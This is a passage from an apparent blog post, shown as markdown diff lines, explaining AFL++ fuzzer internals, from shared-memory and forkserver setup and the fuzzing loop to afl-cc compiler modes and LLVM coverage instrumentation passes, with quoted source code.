need to set the non-instrumented mode to not overwrite the SHM_ENV_VAR + u8 *map = afl_shm_init(afl->shm_fuzz, MAX_FILE + sizeof(u32), 1); + afl->shm_fuzz->shmemfuzz_mode = 1; + if (!map) { FATAL("BUG: Zero return from afl_shm_init."); } +#ifdef USEMMAP + setenv(SHM_FUZZ_ENV_VAR, afl->shm_fuzz->g_shm_file_path, 1); +#else + u8 *shm_str = alloc_printf("%d", afl->shm_fuzz->shm_id); + setenv(SHM_FUZZ_ENV_VAR, shm_str, 1); + ck_free(shm_str); +#endif + afl->fsrv.support_shmem_fuzz = 1; + afl->fsrv.shmem_fuzz_len = (u32 *)map; + afl->fsrv.shmem_fuzz = map + sizeof(u32); +} +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/src/afl-fuzz-init.c#L2583) + +This code does a few important things. Firstly, it creates the actual shared memory region using `afl_shm_init`. Then we set the environment variable `SHM_FUZZ_ENV_VAR`. As we saw, this environment variable is used by instrumentation to setup the share testcase memory region. In addition to setting up environment variables, it also sets the `fsrv` variables. Notice how `afl->fsrv.shmem_fuzz_len = (u32 *)map;`. This is consistent with what we saw earlier we saw that `__afl_fuzz_len = (u32*)map` in the instrumentation setup. + +Next, we setup the shared coverage map: + +```c + afl->fsrv.trace_bits = + afl_shm_init(&afl->shm, afl->fsrv.map_size, afl->non_instrumented_mode); + ... + if (map_size <= DEFAULT_SHMEM_SIZE) { + afl->fsrv.map_size = DEFAULT_SHMEM_SIZE; // dummy temporary value + char vbuf[16]; + snprintf(vbuf, sizeof(vbuf), "%u", DEFAULT_SHMEM_SIZE); + setenv("AFL_MAP_SIZE", vbuf, 1); + } +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz.c#L2054) + +This is fairly similar to how shared testcase memory is setup as we are once again using `afl_shm_init`, Notice how the size is `afl->fsrv.map_size`. Notice how we also get the shared memory size + +Once all of this is setup, we are finally ready to start the forkserver. This is done via `afl_fsrv_get_mapsize` which does the following: + +```c +u32 afl_fsrv_get_mapsize(afl_forkserver_t *fsrv, char **argv, + volatile u8 *stop_soon_p, u8 debug_child_output) { + afl_fsrv_start(fsrv, argv, stop_soon_p, debug_child_output); + return fsrv->map_size; +} +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/src/afl-forkserver.c#L1210) + +We then call [`afl_fsrv_start`]() which does the real work. Most of the beginning of this function is setting up parameters for certain options/operating modes. The real work begins we when we setup the pipes and fork: + +```c +if (pipe(st_pipe) || pipe(ctl_pipe)) { PFATAL("pipe() failed"); } +... +fsrv->fsrv_pid = fork(); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/src/afl-forkserver.c#L582) + +From here, we can focus on the child and the parent individually. The code for the child can be seen below: + +```c + if (!fsrv->use_stdin) { + dup2(fsrv->dev_null_fd, 0); + } else { + dup2(fsrv->out_fd, 0); + close(fsrv->out_fd); + } + + if (dup2(ctl_pipe[0], FORKSRV_FD) < 0) { PFATAL("dup2() failed"); } + if (dup2(st_pipe[1], FORKSRV_FD + 1) < 0) { PFATAL("dup2() failed"); } + close(ctl_pipe[0]); + close(ctl_pipe[1]); + close(st_pipe[0]); + close(st_pipe[1]); + ... + /* This should improve performance a bit, since it stops the linker from + doing extra work post-fork(). */ + + if (!getenv("LD_BIND_LAZY")) { setenv("LD_BIND_NOW", "1", 1); } + /* Set sane defaults for sanitizers */ + set_sanitizer_defaults(); + fsrv->init_child_func(fsrv, argv); + +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/src/afl-forkserver.c#L654) + +The child does not do much. Firstly, if we are using stdin for out input, we replace stdin with a file descriptor pointing to our `out_fd` we set earlier. + +Then, we `dup2` to set the read side of the control pipe of `FORKSRV_FD` and the write side of the status pipe to `FORKSRV_FD+1`. This will ensure that the child has access to the correct pipes. We then close all the pipes so that we don't have any extraneous file descriptors open. + +We then run `fsrv->init_child_func(fsrv, argv)` to actually launch the child process. + +Let's move to the parent. The parent is much more complicated. let's start by reading the code right after the fork: + +```c + close(ctl_pipe[0]); + close(st_pipe[1]); + + fsrv->fsrv_ctl_fd = ctl_pipe[1]; + fsrv->fsrv_st_fd = st_pipe[0]; + + /* Wait for the fork server to come up, but don't wait too long. */ + rlen = 0; + if (fsrv->init_tmout) { + ... + } else { + rlen = read(fsrv->fsrv_st_fd, &status, 4); + } +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/src/afl-forkserver.c#L715) + +We start by closing the read end of the control pipe and the write end of the status pipe as those are exclusively used by the forkserver. + +We then set the write end of the control pipe and the read end to forkserver local variables for easier access. + +From here, we then read the status variable sent by the forkserver. This status variable is the variable that contains the information about the target binary. As you may recall, this variable was sent by the forkserver [here](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/instrumentation/afl-compiler-rt.o.c#L786). + +With this status variable, the forkserver initializes and enables the required options. This can be seen the two snippets below: + +```c + if ((status & FS_OPT_SHDMEM_FUZZ) == FS_OPT_SHDMEM_FUZZ) { + if (fsrv->support_shmem_fuzz) { + fsrv->use_shmem_fuzz = 1; + if (!be_quiet) { ACTF("Using SHARED MEMORY FUZZING feature."); } + if ((status & FS_OPT_AUTODICT) == 0 || ignore_autodict) { + u32 send_status = (FS_OPT_ENABLED | FS_OPT_SHDMEM_FUZZ); + if (write(fsrv->fsrv_ctl_fd, &send_status, 4) != 4) { + FATAL("Writing to forkserver failed."); + } + } + } else { + FATAL( + "Target requested sharedmem fuzzing, but we failed to enable " + "it."); + } + } +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/src/afl-forkserver.c#L805) + +In the above snippet, we deal with enabling shared memory fuzzing. If `fsrv->support_shmem_fuzz != 1` then we cannot support shared memory fuzzing. So, we print out and kill the process. Otherwise, we set `fsrv->use_shmem_fuzz = 1` and we let the child know that shared memory fuzzing is ready to go. + +```c + if ((status & FS_OPT_MAPSIZE) == FS_OPT_MAPSIZE) { + u32 tmp_map_size = FS_OPT_GET_MAPSIZE(status); + if (!fsrv->map_size) { fsrv->map_size = MAP_SIZE; } + fsrv->real_map_size = tmp_map_size; + if (tmp_map_size % 64) { + tmp_map_size = (((tmp_map_size + 63) >> 6) << 6); + } + if (!be_quiet) { ACTF("Target map size: %u", fsrv->real_map_size); } + if (tmp_map_size > fsrv->map_size) { + FATAL( + "Target's coverage map size of %u is larger than the one this " + "afl++ is set with (%u). Either set AFL_MAP_SIZE=%u and restart" + " afl-fuzz, or change MAP_SIZE_POW2 in config.h and recompile " + "afl-fuzz", + tmp_map_size, fsrv->map_size, tmp_map_size); + } + fsrv->map_size = tmp_map_size; + } +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/src/afl-forkserver.c#L833) + +In the above snippet we deal with the map size. We first get the recieved map size from status and set that to `tmp_map_size`. We then compare that map size to the allocated map size (`fsrv->map_size`). If the recieved map size is bigger than the allocated map size, then we abort because we cannot accomodate such a large map size. + +At this point, the forkserver is completely setup and we are ready to investigate the runtime processes of `afl-fuzz`. + +### Runtime of `afl-fuzz` + +The runtime process of AFL lies in a single do-while loop: + +```c + do { + if (likely(!afl->old_seed_selection)) { + if (unlikely(prev_queued_items < afl->queued_items || + afl->reinit_table)) { + // we have new queue entries since the last run, recreate alias table + prev_queued_items = afl->queued_items; + create_alias_table(afl); + } + do { + afl->current_entry = select_next_queue_entry(afl); + } while (unlikely(afl->current_entry >= afl->queued_items)); + afl->queue_cur = afl->queue_buf[afl->current_entry]; + } + skipped_fuzz = fuzz_one(afl); + ... + if (unlikely(!afl->stop_soon && exit_1)) { afl->stop_soon = 2; } + if (unlikely(afl->old_seed_selection)) { + while (++afl->current_entry < afl->queued_items && + afl->queue_buf[afl->current_entry]->disabled) {}; + if (unlikely(afl->current_entry >= afl->queued_items || + afl->queue_buf[afl->current_entry] == NULL || + afl->queue_buf[afl->current_entry]->disabled)) { + afl->queue_cur = NULL; + } else { + afl->queue_cur = afl->queue_buf[afl->current_entry]; + } + } + } while (skipped_fuzz && afl->queue_cur && !afl->stop_soon); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz.c#L2558) + +In the above snippet, we essentially setup the fuzzing queue. I believe this queue represents the next entries to fuzz, but, honestly, I'm not an expert at the actual mutation internals of AFL. + +However, the meat of the fuzzing happens at [`fuzz_one`](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz-one.c#L5806). `fuzz_one` is a massive function which performs a lot of the mutation functionality, and it really deserves its own article. For the purposes of this article, I am going to skip to where the input is written to the forkserver and forkserver launched. + +The input is written in the aptly-named function [`common_fuzz_stuff`](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz-run.c#L1030). Below is the relevant snippet: + +```c +u8 __attribute__((hot)) +common_fuzz_stuff(afl_state_t *afl, u8 *out_buf, u32 len) { + u8 fault; + if (unlikely(len = write_to_testcase(afl, (void **)&out_buf, len, 0)) == 0) { + return 0; + } + fault = fuzz_run_target(afl, &afl->fsrv, afl->fsrv.exec_tmout); + ... +} +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz-run.c#L1030) + +We first run [`write_to_testcase`](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz-run.c#L77) which, as the name suggests, writes the test case to the input file. `write_to_testcase` deals with a lot of edge cases. However, the main work is really done in [`afl_fsrv_write_to_testcase`](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/src/afl-forkserver.c#L1221). The source for it can be seen below: + +```c +if (likely(fsrv->use_shmem_fuzz)) { + if (unlikely(len > MAX_FILE)) len = MAX_FILE; + *fsrv->shmem_fuzz_len = len; + memcpy(fsrv->shmem_fuzz, buf, len); + ... + } else { + s32 fd = fsrv->out_fd; + if (!fsrv->use_stdin && fsrv->out_file) { + if (unlikely(fsrv->no_unlink)) { + ... + } else { + unlink(fsrv->out_file); /* Ignore errors. */ + fd = open(fsrv->out_file, O_WRONLY | O_CREAT | O_EXCL, + DEFAULT_PERMISSION); + } + if (fd < 0) { PFATAL("Unable to create '%s'", fsrv->out_file); } + } else if (unlikely(fd <= 0)) { + // We should have a (non-stdin) fd at this point, else we got a problem. + FATAL( + "Nowhere to write output to (neither out_fd nor out_file set (fd is " + "%d))", + fd); + } else { + lseek(fd, 0, SEEK_SET); + } + // fprintf(stderr, "WRITE %d %u\n", fd, len); + ck_write(fd, buf, len, fsrv->out_file); + if (fsrv->use_stdin) { + if (ftruncate(fd, len)) { PFATAL("ftruncate() failed"); } + lseek(fd, 0, SEEK_SET); + } else { + close(fd); + } +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/src/afl-forkserver.c#L1259) + +The first if statement is regarding if we are using shared memory fuzzing. If we are (`fsrv->use_shmem_fuzz != 0`), then we simply `memcpy` our input into the shared memory buffer and write the length. + +If we are using some form of file-input, then we instead hit the else statement. + +We start out by getting the `fd`. If we are not using `stdin`, then we enter the if statement. This if statement unlinks (Deletes) the old `fsrv->out_file` and creates a new one. If we are using `stdin`, then we simply `lseek` to the beginning. + +Once we do this, we write our data to the file via `ck_write`. Once this is complete we are essentially home free. If we are using `stdin`, then we also `ftruncate` the file to a length of `len`. This ensures that the data from the last iteration is not left over. We then perform one final `lseek` to ensure that the child will read from the beginning. + +At this point, the mutated input is written. All we need to do is restart the forkserver. This is done in [`fuzz_run_target`](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz-run.c#L45). This function, in reality, simply starts a timer and calls [`afl_fsrv_run_target`](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/src/afl-forkserver.c#L1340). A lot of this function is dealing with alternate operating modes of AFL, so I have placed the relevant code below: + +```c +fsrv_run_result_t __attribute__((hot)) +afl_fsrv_run_target(afl_forkserver_t *fsrv, u32 timeout, + volatile u8 *stop_soon_p) { + + s32 res; + u32 exec_ms; + u32 write_value = fsrv->last_run_timed_out; + +... + /* After this memset, fsrv->trace_bits[] are effectively volatile, so we + must prevent any earlier operations from venturing into that + territory. */ +... + memset(fsrv->trace_bits, 0, fsrv->map_size); + MEM_BARRIER(); //commit all writes + + + /* we have the fork server (or faux server) up and running + First, tell it if the previous run timed out. */ + + if ((res = write(fsrv->fsrv_ctl_fd, &write_value, 4)) != 4) { + + if (*stop_soon_p) { return 0; } + RPFATAL(res, "Unable to request new process from fork server (OOM?)"); + + } + + fsrv->last_run_timed_out = 0; + + if ((res = read(fsrv->fsrv_st_fd, &fsrv->child_pid, 4)) != 4) { + + if (*stop_soon_p) { return 0; } + RPFATAL(res, "Unable to request new process from fork server (OOM?)"); + + } + +... + + exec_ms = read_s32_timed(fsrv->fsrv_st_fd, &fsrv->child_status, timeout, + stop_soon_p); + + if (exec_ms > timeout) { + + /* If there was no response from forkserver after timeout seconds, + we kill the child. The forkserver should inform us afterwards */ + + s32 tmp_pid = fsrv->child_pid; + if (tmp_pid > 0) { + + kill(tmp_pid, fsrv->child_kill_signal); + fsrv->child_pid = -1; + + } + + fsrv->last_run_timed_out = 1; + if (read(fsrv->fsrv_st_fd, &fsrv->child_status, 4) < 4) { exec_ms = 0; } + + } + + if (!exec_ms) { + + if (*stop_soon_p) { return 0; } + SAYF("\n" cLRD "[-] " cRST + "Unable to communicate with fork server. Some possible reasons:\n\n" + " - You've run out of memory. Use -m to increase the the memory " + "limit\n" + " to something higher than %llu.\n" + " - The binary or one of the libraries it uses manages to " + "create\n" + " threads before the forkserver initializes.\n" + " - The binary, at least in some circumstances, exits in a way " + "that\n" + " also kills the parent process - raise() could be the " + "culprit.\n" + " - If using persistent mode with QEMU, " + "AFL_QEMU_PERSISTENT_ADDR " + "is\n" + " probably not valid (hint: add the base address in case of " + "PIE)" + "\n\n" + "If all else fails you can disable the fork server via " + "AFL_NO_FORKSRV=1.\n", + fsrv->mem_limit); + RPFATAL(res, "Unable to communicate with fork server"); + + } + + if (!WIFSTOPPED(fsrv->child_status)) { fsrv->child_pid = -1; } + + fsrv->total_execs++; + + /* Any subsequent operations on fsrv->trace_bits must not be moved by the + compiler below this point. Past this location, fsrv->trace_bits[] + behave very normally and do not have to be treated as volatile. */ + + MEM_BARRIER(); + + /* Report outcome to caller. */ + + /* Was the run unsuccessful? */ + if (unlikely(*(u32 *)fsrv->trace_bits == EXEC_FAIL_SIG)) { + + return FSRV_RUN_ERROR; + + } + + ... + + /* success :) */ + return FSRV_RUN_OK; + +} +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/src/afl-forkserver.c#L1340) + +Let's go through this function line-by-line. + +We start out by doing a `memset` with `0` on `fsrv->trace_bits` or the coverage map. This ensures that the coverage map is zeroed out and reset for the next run. + +Once that is done, we write to the child via the `ctl_pipe`. This wakes the child up for the next run. + +We then read the child PID from the status pipe. Recall that the forkserver writes the child pid after the fork to the status pipe ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/4f2d9eeaaa6b702ef28eb883f9000321eaf1fe9b/instrumentation/afl-compiler-rt.o.c#L1222)). + +Assuming this was successful, we then do a `read_s32_timed` of the child status. `read_s32_timed` is a timed read. So, after the given timeout value has expired, the read will return regardless of if anything has actually been read. This helps ensure that `afl-fuzz` is not waiting forever for what could be a hanging child. The value read at `read_s32_timed` is the same value passed from `__afl_start_forkserver` [here](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/afl-compiler-rt.o.c#L1244). + +Once this has been returned, we check if the timeout has expired. If the timeout expired, then we run some error code. We then run the following code: + +```c +if (!WIFSTOPPED(fsrv->child_status)) { fsrv->child_pid = -1; } +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/src/afl-forkserver.c#L1524) + +This code checks if the child is stopped. If the child is not stopped (i.e. exited), then we simply set `fsrv->child_pid = -1` which clears the PID for the next run. Recall that a child can only be stopped if persistent mode is being used, and if persistent mode is being used, the child will be restarted. As a result, if persistent mode is being used, it is not useful to set `fsrv->child_pid = -1` as the `child_pid` will be reused. + +This loop of mutate-write-execute will run endlessly until either something goes catastrophically wrong, or we tell the fuzzer to stop. + +
+
+## In-Depth: Coverage Instrumentation and LLVM Hell + +### `afl-cc` + +So, how does coverage instrumentation actually work? + +To understand how instrumentation actually works, it is important to understand the compiler wrapper `afl-cc`. `afl-cc` is a C wrapper for the actual compiler (Either `clang` or `gcc`) and sets up all the necessary arguments to perform the instrumentation. The source for `afl-cc` can be found [here](https://github.com/AFLplusplus/AFLplusplus/blob/stable/src/afl-cc.c). + +Do note that when you're using an AFL compiler, you're likely not using `afl-cc`, but rather `afl-clang-fast`, `afl-clang-lto`, `afl-gcc-fast`, etc. These are actually all symlinks to `afl-cc`. `afl-cc` does all the main handling and differentiates between the compilers. + +Anyway, when compiling for AFL, we can use many forms of instrumentation all of which are explained well [here](https://github.com/AFLplusplus/AFLplusplus/blob/stable/docs/env_variables.md#2-settings-for-llvm-and-lto-afl-clang-fast--afl-clang-fast--afl-clang-lto--afl-clang-lto). In this article, we will focus on 2 kinds of instrumentation: PCGUARD instrumentation and LTO instrumentation. PCGUARD intrumentation can be accessed via the `afl-clang-fast` compiler, while LTO instrumentation can be accessed via the `afl-clang-lto` compiler. + +Let's get into the source code of `afl-cc`. + +In `afl-cc`, there are three variables we actually care about: + +- `compiler_mode`: are we using gcc of LLVM? What kind of LLVM are we using? +- `instrument_mode`: what kind of instrumentation are we using? +- `lto_mode`: are we using LTO mode? + +In our case, `compiler_mode` is always `LLVM` or `LTO` as demonstrated here: + +```c +char *callname = argv[0] +... +if (strncmp(callname, "afl-clang-fast", 14) == 0) { + +compiler_mode = LLVM; + +} else if (strncmp(callname, "afl-clang-lto", 13) == 0 || + +strncmp(callname, "afl-lto", 7) == 0) { + +compiler_mode = LTO; + +... +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/src/afl-cc.c#L1390) + +The above snippet checks `argv[0]` to see if it equals `afl-clang-fast` or `afl-clang-lto` and sets the `compiler_mode` accordingly. Note that because we are focusing on LLVM, these are the only 2 options we will consider. Also note that compiler mode can also be set according to the environment variable `AFL_CC_COMPILER`. + +`instrument_mode` is set in 3 places: + +For PCGUARD instrumentation, it is set here: + +```c + if (instrument_mode == 0 && compiler_mode < GCC_PLUGIN) { +... + instrument_mode = INSTRUMENT_PCGUARD; +... +} +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/src/afl-cc.c#L2171) + +LTO instrumentation can be accessed via the `afl-clang-lto` compiler. + +```c + if (compiler_mode == LTO) { + if (instrument_mode == 0 || instrument_mode == INSTRUMENT_LTO || + instrument_mode == INSTRUMENT_CFG || + instrument_mode == INSTRUMENT_PCGUARD) { + lto_mode = 1; + ... + instrument_mode = INSTRUMENT_PCGUARD; + ... + } + ... + } +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/src/afl-cc.c#L2140) + +Notice the `lto_mode = 1`, as we are using `LTO` mode. + +Ok, let's recap. Below are the variables that result : + +- `compiler_mode=LLVM`,`instrument_mode=INSTRUMENT_PCGUARD`,`lto_mode=0` - `afl-clang-fast` +- `compiler_mode=LTO`,`instrument_mode=INSTRUMENT_PCGUARD`,`lto_mode=1` - `afl-clang-lto` + +With these variables in mind, we can now move to the compilation step. To understand this, we must visit [`edit_params`](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/src/afl-cc.c#L380). + +In `edit_params`, we set the compiler flags for `clang`. + +For PCGUARD the following flags are set: + +```c + if (instrument_mode == INSTRUMENT_PCGUARD) { + ... + #if LLVM_MAJOR >= 11 /* use new pass manager */ + #if LLVM_MAJOR < 16 + cc_params[cc_par_cnt++] = "-fexperimental-new-pass-manager"; + #endif + cc_params[cc_par_cnt++] = alloc_printf( + "-fpass-plugin=%s/SanitizerCoveragePCGUARD.so", obj_path); + #else + cc_params[cc_par_cnt++] = "-Xclang"; + cc_params[cc_par_cnt++] = "-load"; + cc_params[cc_par_cnt++] = "-Xclang"; + cc_params[cc_par_cnt++] = + alloc_printf("%s/SanitizerCoveragePCGUARD.so", obj_path); + #endif + } +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/src/afl-cc.c#L702) + +For LTO the following flags are set: + +```c + if (lto_mode && !have_c) { + ... +#if defined(AFL_CLANG_LDPATH) && LLVM_MAJOR >= 15 + // The NewPM implementation only works fully since LLVM 15. + cc_params[cc_par_cnt++] = alloc_printf( + "-Wl,--load-pass-plugin=%s/SanitizerCoverageLTO.so", obj_path); +#elif defined(AFL_CLANG_LDPATH) && LLVM_MAJOR >= 13 + cc_params[cc_par_cnt++] = "-Wl,--lto-legacy-pass-manager"; + cc_params[cc_par_cnt++] = + alloc_printf("-Wl,-mllvm=-load=%s/SanitizerCoverageLTO.so", obj_path); +#else + cc_params[cc_par_cnt++] = "-fno-experimental-new-pass-manager"; + cc_params[cc_par_cnt++] = + alloc_printf("-Wl,-mllvm=-load=%s/SanitizerCoverageLTO.so", obj_path); +#endif + ... +} +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/src/afl-cc.c#L649) + +Both PCGUARD and LTO load something called an LLVM pass. As I understand, these passes are an opportunity for LLVM (Or, in this case, an out-of-tree plugin) to manipulate the LLVM IR before it is passed to the LLVM backend. + +LLVM passes are explained pretty well [here](https://blog.llvm.org/posts/2021-03-26-the-new-pass-manager/) and [here](https://github.com/banach-space/llvm-tutor) + +In the case of PCGUARD, the pass manager is `SanitizerCoveragePCGUARD.so`, and in the case of LTO, the pass manager is `SanitizerCoverageLTO.so`. + +In addition to our passes, we also include an object file: + +```c +if (!shared_linking && !partial_linking) + cc_params[cc_par_cnt++] = + alloc_printf("%s/afl-compiler-rt.o", obj_path); + if (lto_mode) + cc_params[cc_par_cnt++] = + alloc_printf("%s/afl-llvm-rt-lto.o", obj_path); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/src/afl-cc.c#L1235) + +Notice that if we are using `lto_mode`, we also include `afl-llvm-rt-lto.o`. + +### LLVM Pass Plugins + +With the compiler options in mind, let's take a brief look at the actual pass plugins themselves. However, before we do this, we need to understand the LLVM architecture at a high-level. + +The way LLVM works is described below: + +![](./LLVM.png) + +[Source](https://medium.com/@JMangia/swift-c-llvm-compiler-optimization-842012568bb7) + +Basically, LLVM takes the frontend language and coverts it to the LLVM IR. This LLVM IR is optimized and sent through passes (Including ours). Once the LLVM passes are complete, the IR is converted to the backend assembly language. + +Because of this, we will see that our plugins are operating on the LLVM IR instead of assembly. + +**Take everything I say from here forward with a pound of salt, as I am not familiar with LLVM. If you have a correction or improvement, absolutely feel free to email me. I would love to hear it.** + +Let's start with the PCGUARD plugin: `SanitizerCoveragePCGUARD.so`. The source of this plugin can be found [here](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc). There's a lot here, so let's try to focus on the important stuff. + +The pass plugin starts at [`instrumentModule` ](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L339) which takes in an LLVM module. As I understand, an LLVM module is the program (Or maybe an object file?). + +One of the first things we do is set up a global variable for `__afl_area_ptr`: + +```cpp + AFLMapPtr = + new GlobalVariable(M, PointerType::get(Int8Ty, 0), false, + GlobalValue::ExternalLinkage, 0, "__afl_area_ptr"); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L398) + +Notice that `AFLMapPtr` is instantiated with `GlobalValue::ExternalLinkage` (i.e. an `extern` variable). This is because it is actually declared in afl-compiler-rt.o.c. We will continually access this value for instrumentation. + +From here, we add necessary functions, and then we enter [`instrumentFunction`](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L622) for every function: + +```cpp + for (auto &F : M) + instrumentFunction(F, DTCallback, PDTCallback); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L471) + +In order to understand the next few lines, it is important to under LLVM blocks. In LLVM, each function is split into "blocks". According to the LLVM documentation, a block (Represented as the type `BasicBlock`) is a set of continuous IR instructions that terminate on a "terminator instruction" (i.e. a branch). Once a block is entered, it will not exit at any pointer other than the terminator instruction ([Source](https://llvm.org/doxygen/classllvm_1_1BasicBlock.html#details)). + +With this in mind, we can understand the first few lines in `instrumentFunction` + +```cpp + for (auto &BB : F) { + + if (shouldInstrumentBlock(F, &BB, DT, PDT, Options)) + BlocksToInstrument.push_back(&BB); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L660) + +In the above lines, we iterate through each `BasicBlock` in our function and we call `shouldInstrumentBlock`. If we should instrument that block, then we add it to a vector called `BlocksToInstrument` (If you're not familiar with C++, a vector is very similar to an ArrayList from Java). + +Once we have added all our blocks to `BlocksToInstrument`, we then perform instrumentation on them with [`InjectCoverage`](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L803): + +```cpp +InjectCoverage(F, BlocksToInstrument, IsLeafFunc); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L699) + +`InjectCoverage` is where the magic happens. + +In `InjectCoverage`, we deal with 2 edge cases: calls instructions and select instructions. I'm not going to explain the edge cases here, but for calls, we insert special instrumentation if the call is to a function called `__afl_coverage_interesting` ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L900)). Selects are instructions like ternary operators ([Source](https://llvm.org/docs/LangRef.html#select-instruction)), and they induce some special instrumentation. + +Beside those edge cases, `InjectCoverage` is not too bad. One very important thing that we do is set up "Section Arrays". This is done in [`CreateFunctionLocalArrays`](https://github.com/AFLplusplus/AFLplusplus/blob/4f2d9eeaaa6b702ef28eb883f9000321eaf1fe9b/instrumentation/SanitizerCoverageLTO.so.cc#L1535) which is called like so: + +```cpp +CreateFunctionLocalArrays(F, AllBlocks, first + cnt_cov + cnt_sel_inc); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L876) + +So, what are these Section Arrays? When we were discussing PCGUARD instrumentation, we talked about how the index into the coverage map (`__afl_area_ptr`) was determined at runtime. More specifically, we get the index from some `DAT_*` variable. Those `DAT_*` variables are actually in our Section Array. So, by creating these Section Arrays, we are actually creating space for those `DAT_*` variables. This can be seen in the function: + +```cpp +const char SanCovGuardsSectionName[] = "sancov_guards"; +... +void ModuleSanitizerCoverageAFL::CreateFunctionLocalArrays( + Function &F, ArrayRef AllBlocks, uint32_t special) { + + if (Options.TracePCGuard) + FunctionGuardArray = CreateFunctionLocalArrayInSection( + AllBlocks.size() + special, F, Int32Ty, SanCovGuardsSectionName); +... +} +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L784) + +As can be seen, we create an `int` array of size `AllBlocks.size()` in the section `sancov_guards`. + +We can actually see the result of this in Ghidra where we have a section called `sancov_guards`: + +![](./sancov_guards.png) + +Once this array is created, we can actually insert our instrumentation. This is done in [`InjectCoverageAtBlock`](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/SanitizerCoveragePCGUARD.so.cc#L1313). This function is called below: + +```cpp + if (!AllBlocks.empty()) + for (size_t i = 0, N = AllBlocks.size(); i < N; i++) + InjectCoverageAtBlock(F, *AllBlocks[i], i, IsLeafFunc); +``` + 